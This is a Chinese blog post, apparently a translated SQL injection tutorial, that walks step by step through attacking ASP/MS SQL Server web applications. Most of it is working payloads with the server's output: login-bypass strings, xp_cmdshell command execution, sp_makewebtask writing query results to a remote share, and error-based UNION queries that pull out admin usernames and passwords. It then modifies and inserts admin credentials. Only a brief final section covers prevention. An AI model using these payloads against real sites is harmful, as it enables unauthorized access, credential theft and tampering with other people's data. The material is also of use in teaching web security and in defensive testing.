数据库注入详解

  • Post author:
  • Post category:其他



数据库注入详解


1.0


介绍



当一台机器只打开了


80


端口


,


你最依赖的漏洞扫描器也不能返回任何有用的内容


,


并且你知道管理员经常为机器打补丁


,


我们就不得不使用


web


攻击方式了


. SQL


注入是


web


攻击的一种类型


,


这种方式只需要开放


80


端口就够了并且即使管理员打了全部的补丁也能工作


.


它攻击的目标是


web


程序


(





ASP,JSP,PHP,CGI





)


本身而不是


web


服务器或系统上运行的服务


.


本文不介绍任何新的东西


, SQL


注入已经被广泛的讨论和使用


.


我们写这篇文章目的是因为我们想要使用


SQL


注入进行一些演练测试


,


希望这个能对各位有用


.


你可以在这里找到一两个窍门但是请你关注下


“9.0


哪里有更多的信息


?”


可以得到关于


SQL


注入更多,更深入的技术


.


1.1


什么是


SQL


注入


?



通过网页的输入项来注入


SQL


查询或命令是一种技巧。许多网页会从用户那里获取参数,并构建


SQL


查询来访问数据库。以用户登录为例,页面收集用户名和密码然后构建


SQL


去查询数据库,来校验用户名和密码的有效性。通过


SQL


注入,我们可以发送经过精心编造的用户名和


/


或密码字段,来改变


SQL


查询语句并赋予我们其它一些权限。


1.2




你需要什么




?




任意


web


浏览器。


2.0




你应该寻找什么




?




尝试寻找那些允许你提交数据的页面,即


:


登录页面,查询页面,反馈信息等等。有时,


HTML


页面会用


POST


命令来把参数发送到另外一个


ASP


页面上去。那么,你可能在


URL


中看不到参数。不过,你可以查看页面的


HTML


源代码,查找


“FORM”


标签。你会在一些


HTML


源代码中看到类似下面的东东


:


<FORM action=Search/search.asp method=post>


<input type=hidden name=A value=C>


</FORM>


位于


<FORM>





</FORM>


之间的所有内容都可能暗含着有用的参数


(


利用你的智慧


)





2.1




如果你找不到任何带有输入框的页面怎么办




?




你应该寻找诸如


ASP, JSP, CGI,





PHP


这样的页面。尤其要找那些携带有参数的


URL


,比如


: http://test/index.asp?id=1


3.0




如何测试它是否是易受攻击的




?




从一个单引号技巧开始。输入类似这样的内容


:

admin’ or 1=1–


到登录页面中,或者密码中,甚至直接在


URL


中。例如


:

– Login: admin’ or 1=1–

– Pass: admin’ or 1=1–

– http://duck/index.asp?id=admin’ or 1=1–


假如你必须在一个


hidden


字段中来这样做,就把


HTML


源代码下载下来,保存到硬盘上,修改


URL


和相应的


hidden


字段。例如


:

<FORM action=http://duck/Search/search.asp method=post>

<input type=hidden name=A value=”hi’ or 1=1–“>

</FORM>


如果够幸运,不需要任何用户名和密码你就可以登录。



3.1




为什么是




‘ or 1=1–?


让我们通过另外一个例子来展示


‘ or 1=1–


的重要性。除了能绕过





登录





验证,它还能展示一些在正常情况下很难看到的额外信息。假设,有一个


ASP


页面,其功能是将我们导航到下面的


URL




http://duck/index.asp?category=food





URL


中,


‘category’


是变量名;


food


是赋给变量的值。为了完成导航功能,我们猜想


ASP


页面应该包含下面的代码(这些代码是我们为了完成此测试而编写的真实代码):


v_cat = request(“category”)

sqlstr=”SELECT * FROM product WHERE PCategory='” & v_cat & “‘”

set rs=conn.execute(sqlstr)


如上所示,变量


v_cat


获取了参数


category


的值,


SQL


语句将变成:


SELECT * FROM product WHERE PCategory=’food’





SQL


语句将返回符合


where


条件的的结果集。在本例中,


where


条件是


PCategory=’food’




下面,假设我们将


URL


改成下面的形式:


http://duck/index.asp?category=food’ or 1=1–


现在,变量


v_cat


等于


“food’ or 1=1– ”


。将变量


v_cat





SQL


中进行替换,我们将得到下面语句:


SELECT * FROM product WHERE PCategory=’food’ or 1=1–‘


该语句将得到


product


表中所有记录,无论


PCategory


是否等于


‘food’





“–”


告诉


MS SQL server


忽略其后面的所有内容(笔者注:其实可以理解为注释,


“–”


后面所有的内容都为注释),方便我们处理单引号。在某些情况下,


“–”


可以被替换成


”#“




如果后台的数据库不是


SQL Server


,查询语句的单引号就不能被忽略。在这种情况下,我们可以尝试下面的查询条件:


‘ or ‘a’=’a


此时,


SQL


语句将变成:


SELECT * FROM product WHERE PCategory=’food’ or ‘a’=’a’


根据真实的


SQL


语句,我们还可以尝试以下各种变形:


‘ or 1=1–

” or 1=1–

or 1=1–

‘ or ‘a’=’a

” or “a”=”a

‘) or (‘a’=’a



4.0




我如何通过




SQL




注入来进行远程执行




?




能够注入


SQL


命名通常意味着我们可以随意执行任何


SQL


查询。默认安装的


MS SQL


服务是作为


SYSTEM


来运行的,


它相当于


Windows


系统中的


Administrator


。我们可以利用存储过程,比如


master..xp_cmdshell


来进行远程执行


:

‘; exec master..xp_cmdshell ‘ping 10.10.1.2’–


如果单引号


(‘)


不管用,可以试试双引号


(“)




分号会终止当前的


SQL


查询,这就允许你开始一个新的


SQL


命名。要验证命令是否执行成功,你需要监听来自


10.10.1.2





ICMP


数据包,检查是否收到来自服务器的数据包


:

#tcpdump icmp


如果你没有收到任何来自服务器的


ping


请求,并且收到了暗示许可错误的信息,则有可能是管理员限制了


Web


用户对存储过程的访问。



5.0




如何获取




SQL




查询的输出




?




可以通过使用


sp_makewebtask


把你的查询写入到


HTML:

‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”


注意这个目标


IP


的文件夹


“share”


的共享权限是


Everyone.


6.0




如何从数据库的




ODBC




错误消息中获取数据




?




我们几乎可以在


MS SQL


服务器产生的错误消息中得到任何我们想要的数据


.


通过类似下面的这个地址


:

http://duck/index.asp?id=10


我们将试图把这个整数


’10’


和另外的字符串进行


UNION


联合操作


:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–


系统表


INFORMATION_SCHEMA.TABLES


包含了服务器上所有表的信息


.


这个


TABLE_NAME


字段包含数据库中每个表的字段


.


这样就不存在无此表无此字段的问题了


.


看我们的查询语句


:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-


这个语句将会返回数据库中第一个表的名字


.


当我们使用这个字符串值和一个数字


’10’


进行


UNION


操作


, MS SQL


服务器将会试图转换这个字符串


(nvarchar)


为一个数字


.


这会产生一个错误


,


因为我们不能把


nvarchar


类型转换成数字


.


服务器将会产生以下错误信息


:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘table1’ to a column of data type int.

/index.asp, line 5


这个错误消息清楚的告诉我们这个值不能转换为数字


.


同时呢


,


里面也包含了数据库中第一个表的名字


,


就是


“table1”.


想获取下一个表的名字


,


我们使用下面的语句


:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (‘table1’)–


我们也可以使用


LIKE


关键词来搜索数据


:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25login%25’–


输出


:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘admin_login’ to a column of data type int.

/index.asp, line 5


这个匹配


, ‘%25login%25’


的结果和


%login%


是一样的在


SQL Server


服务器中


.


这样


,


我们将得到


匹配的第一个表的名字


, “admin_login”.



6.1




如何挖掘到表所有列的名称




?


我们可以使用另一个非常有用的表


INFORMATION_SCHEMA.COLUMNS


来标出某一个的表所有列名


:


http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’–


输出


:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int.

/index.asp, line 5


注意错误提示


,


里面已经包含了第一个列名


,


下面我们使用


NOT IN ()


来取得下一个列的名称


:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’)–


输出


:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int.

/index.asp, line 5


按上面的步骤继续下一个


,


我们就能获得剩下的所有列的名称


,





“password”, “details”


等列


.


当我们得到下面的这个错误提示时


,


就表示我们已经找出所有的列名了


.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (‘login_id’,’login_name’,’password’,details’)–


输出


:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5



6.2




如何检索到我们想要的数据




?




现在我们已经确认了一些重要的表,以及它们的列名


,


我们可以用同样的技巧从数据库中挖掘任何我们想要的信息


.


现在


,


让我们从这个


“admin_login”


表中得到第一个


login_name


的值吧


:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login–


输出


:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘neo’ to a column of data type int.

/index.asp, line 5


根据上面的错误提示我们知道这里有一个管理员的登录名是


“neo”.


下面


,


我们从数据库中到


“neo”


的密码


:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’neo’–

Output:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘m4trix’ to a column of data type int.

/index.asp, line 5



密码就在错误提示里了


,


现在让我们用


“neo”


和密码


“m4trix”


登录试试吧


.



6.3




如何获取数字型字符串的值?


上面所述的技术具有局限性。在我们试图转换包含有效数字(即只是


0-9


之间的字符)的时候,我们没有得到任何错误信息。让我们试着获取


“trinity”


的密码


“31173”:


http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=’trinity’


我们可能得到





此页面不存在





的错误。原因在于:在于整数(这时是


10


)联接之前,密码


“31173”


将转换为一个数字。由于这是一个有效地联接(


UNION


)语句,因此


SQL Server


不会抛出


ODBC


错误信息,因此我们将不能获取到任何数字型的项。


为了解决这个问题,我们给数字型字符串后面提交一些字母,这样可以确保转换失效。让我们看看下面这个查询:


http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM admin_login where login_name=’trinity’


我们只是给我们需要的密码文本后添加了加号(


+


)。(


“+”





ASCII


编码是


0x2b


)。我们将给真正的密码后添加





(空格)休眠符





。因此,即使我们有一个字符型字符串


”31173“


,它最终将变为


”31173


休眠符





。通过手工调用


convert()


函数试图把


“31173


休眠符





转换为整数时,


SQL Server


抛出


ODBC


错误信息:


Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘31173 morpheus’ to a column of data type int.

/index.asp, line 5


现在,你就可以使用密码为


“31173”





“trinity”


用户登陆了。



7.0




如何向数据库中更新或插入数据




?




当我们成功的获取到一张表的所有字段名后,我们就有可能


UPDATE


甚至


INSERT


一条新记录到该表中。例如,修改


“neo”


的密码


:

http://duck/index.asp?id=10; UPDATE ‘admin_login’ SET ‘password’ = ‘newpas5′ WHERE login_name=’neo’–


下面


INSERT


一条新记录到数据库中


:

http://duck/index.asp?id=10; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (666,’neo2′,’newpas5′,’NA’)–


现在我们可以用用户名


“neo2”


和密码


“newpas5”


来登录了



8.0




如何避免




SQL




注入?


过滤参数中的单引号、双引号、斜杠、反斜杠、分号等字符;以及


NULL


、回车符、换行符等扩展字符。这些参数可能来自于:


  • 前台表单(


    form


    )中的用户输入

  • URL


    中的参数

  • cookie


对于数字,在将其传入


SQL


语句之前将其从字符串


(String)


转换成数字


(Number)


;或者用


ISNUMERIC


函数确定其确实是数字。





SQL Server


的运行用户修改为低权限用户(


low privilege user)




删除不再需要的存储过程,例如:


master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask



版权声明:本文为qq_41770175原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。